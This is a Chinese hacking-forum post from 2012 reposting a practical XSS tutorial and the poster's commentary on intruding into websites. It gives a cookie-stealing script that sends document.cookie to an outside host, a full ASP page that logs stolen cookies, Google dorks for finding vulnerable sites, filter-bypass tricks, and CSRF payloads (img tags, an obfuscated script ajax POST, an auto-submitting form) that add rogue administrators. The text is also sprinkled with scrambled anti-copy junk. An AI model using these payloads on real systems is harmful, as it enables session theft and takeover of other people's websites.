找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2081|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: ; t2 Q6 Q+ z0 A/ g9 l. m" x
) n& J. n* {+ u- ^0 |
http://tieba.baidu.com/f?kz=1069007239
0 t& d) i4 P' s- h4 h
6 P1 V$ L% l6 Y这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
) p& M( y* i! w' i: c3 |+ k  A; {; F  S0 I6 Q" ]
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
. g1 W4 ~* i$ P* V7 q
6 i0 Z4 R+ n  b9 @% E% i我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。1 d$ @3 s9 R; N) Y
# n0 M8 ]6 q! T+ U$ A/ p, a5 U
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
3 S2 F( z0 q& k$ i8 m7 k; s# W) V' W' y- n; X; J
好了,废话不多说了,一起来看文章吧。+ X- u- o: P6 k. P) ]# H+ t1 r  k
! m' C) ?/ K  B9 e7 F; U. |
-------------------------------------------------------------------
2 x& c# i% X. h) }7 m' `+ d$ H3 N/ y2 l; O& s
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。4 p0 s! \/ U. H
3 w0 S8 ~, K+ I! \( W

0 C# {& M' L) o0 |1 U6 Y8 o- j) g5 w; c, W
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:: {& f) c) N3 {' O# Y& G* K
% z4 i9 e4 H( ^$ U! C3 A

: Y6 t! N7 w9 ]1 i+ T; W1 f! V/ W% a# s5 ~, M" u' u
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是8 d: Y: a' I: R; P# n- \; I
1:让目标访问已跨站的网址,然后这个网址执行脚本
& z+ U6 t/ r" C5 H( N) V: _0 Z* H2:然后跳转到你已经写好专门用来收集Cookie的网址" \0 u+ {2 [1 K3 y5 `! H
+ r& [" L( Q5 a: i( i& t
具体实现方法:
) r1 j) I0 q$ b先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>6 m- {$ d4 a$ g! T; g# O; d
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。& B. ~& @9 U0 N/ J# A

1 d, j) D' E! K" [/ I+ i这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
8 H1 C: `# C. A! h
' u! S- w/ z. g# F# ?9 X+ ?<html>3 R# t4 ]3 Y, r% T
<title>xx</title>
/ K, S$ F* e0 M" d- }" r0 T<body>
  \" s( U- W( b# l- r( I6 {& x<%
# d2 l6 q# W" g$ k" D% R6 Ctestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中8 A% e) h; E7 p7 N5 x0 o
msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值1 j. q' b! q$ M. J& M2 P! w
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象- s6 L1 \# y9 l2 G$ t
set thisfile = fs.OpenTextFile(testfile,8,True,0)) b$ _* K% M3 z2 p7 r
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie; G6 R2 B0 V. I- k( P
thisfile.close   //关闭
& C2 i5 \6 S- U2 N; Z( dset fs = nothing( e2 @/ V6 T9 V
%>
# {" s: Z, m8 q2 u1 k</body>
1 S5 x5 J# ~+ _$ }! Z: T: x; G</html>
- p# a; U8 _$ U7 B
% g1 l  Z+ n2 E2 \' G( h  F; ^- S/ Y然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:. l; L1 P$ e5 c& ?
+ C- C; L- \( X# X) Q* O
" Y% D: X7 e! n& M
! O9 }, f4 n$ ~' w

' n$ t9 @3 S: g& u拿出来看看,呵呵,Cookie到手:! b" H" Q. x9 e# H! E' I+ x+ z
4 [# P( r5 r8 P4 F4 k" E
7 y5 u. {0 o: u7 |
% y+ Q1 t6 w  O- ~/ d* o( C- t, }: p
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~" G9 L8 r% q2 d& l: m* k

6 T0 D* M4 K# c- o6 uPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。, g: }. C& x' p& J* s; u1 M, D
2 \" t# K( v* t5 f; L
-------------------------------------------------------------------5 y5 k( {" ~# E- Q

7 k) F1 U  ]7 o3 h& z8 E! C/ a  k下面是我对这个帖子的回复,也一起贴过来吧:7 n1 b1 i0 o: I& H$ I; Y, i9 B
- u. s3 J* d* n0 \
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
# X6 o5 c' d8 y# m& \7 ^$ T. a* f4 Z3 L
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。8 \$ n) [# Q7 C; h% Y1 P7 Y
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
7 j' W7 g6 q, {( l& v# s2 k: H* o  b8 b' @! K: i0 @5 \& x$ ?
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:6 M, O2 O1 q7 H8 d
9 L& c2 U  d/ O' z9 R3 f3 B
http://user.qzone.qq.com/673116767/blog/12524525369 H  G6 n' ~- y9 B

7 s: {& F) m2 t/ q& J: L0 u9 L一般发现一个xss漏洞后要做的基本上就是这些:' a( e, `( W! l$ U
4 R7 s8 Y& M& r( v/ ?
1.  伪造请求  使用$_REQUEST或$_GET
' n, K4 \; F# w1 D" s( X
* o4 {4 T. o6 }* v# V; n; {首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:$ D  S$ Q3 @/ \0 R4 o" _. }
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
1 ]2 J% h; l. B% D当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。0 q' N! U  G: [+ i2 o, `0 X
2 I; b) u3 u! [( G# E( V, D' S, R, N
如果是可视文本编辑器,可以尝试使用输入:3 G6 M$ q% H4 b% J0 H
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
  X0 O$ q7 E$ I这样最终会构造出:0 F" b4 W- k/ }" c2 [$ E' U
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
- q$ A5 ~; h' ?7 ^3 U/ Q+ Q; Z总之要举一反三。
! K3 M9 s7 ~+ e9 }  G2 l
. x  p: v& j2 E) |7 w2. 伪造请求  使用$_POST
0 E3 z, k& J; p, a$ P
5 Y. G8 D1 w0 J8 ?" F当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:" W5 J# L* V( u: {
<sc/*xss*/ript type="text/javascript">
  v; H& h. ^( |8 Uvar aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");3 j; [5 D: T  {( R- F/ Q7 z
aj.open("POST", "/admin/admin_add.asp", false);) j% ^0 Z* o4 P3 t7 V- w' ]
var postdata = 'name=xxx&psd=yyy';
" _& w4 ^2 ?) t/ ?$ u9 v5 [aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
: B( y' k: R' ?; {' j" z- Vaj.send(postdata);4 j. }$ X( y. E6 p) l
</scr/*xss*/ipt>' D$ v4 ]0 m! \( r$ R) h
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。9 |, E) k3 [. X: g9 c

% h2 a9 o/ n6 c9 M9 D7 n# a3. 跨站伪造请求 使用$_GET 或 $_REQUEST
& l+ y1 C- R0 e' L9 H  T6 J$ e
+ W/ ?8 R3 M) n与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
* l+ U- \3 T8 `3 o1 z3 t<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>; ?+ v- ^+ X* K8 [0 }$ z
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。) h6 ]0 j- P% h! q9 d) P+ x# k! P
7 w4 K4 {7 @* \7 l
4.跨站伪造请求 使用$_POST(0day)7 Q2 b1 ~1 R+ b* U  d/ U* d
, b. h. p! q( {  x; s
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
, Z& c+ o& z' }2 g2 e% {! |3 B* d. P0 ]# }# a
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
7 s! T9 l& ]& j/ ]: m7 U
5 _3 Y. J/ ?+ ]8 M$ T& G总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
9 [& n+ W3 P- Z: u
# L  j' [7 S2 L( q# }9 iOK,该说的都说完了,Over。0 `- E1 K/ `( P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表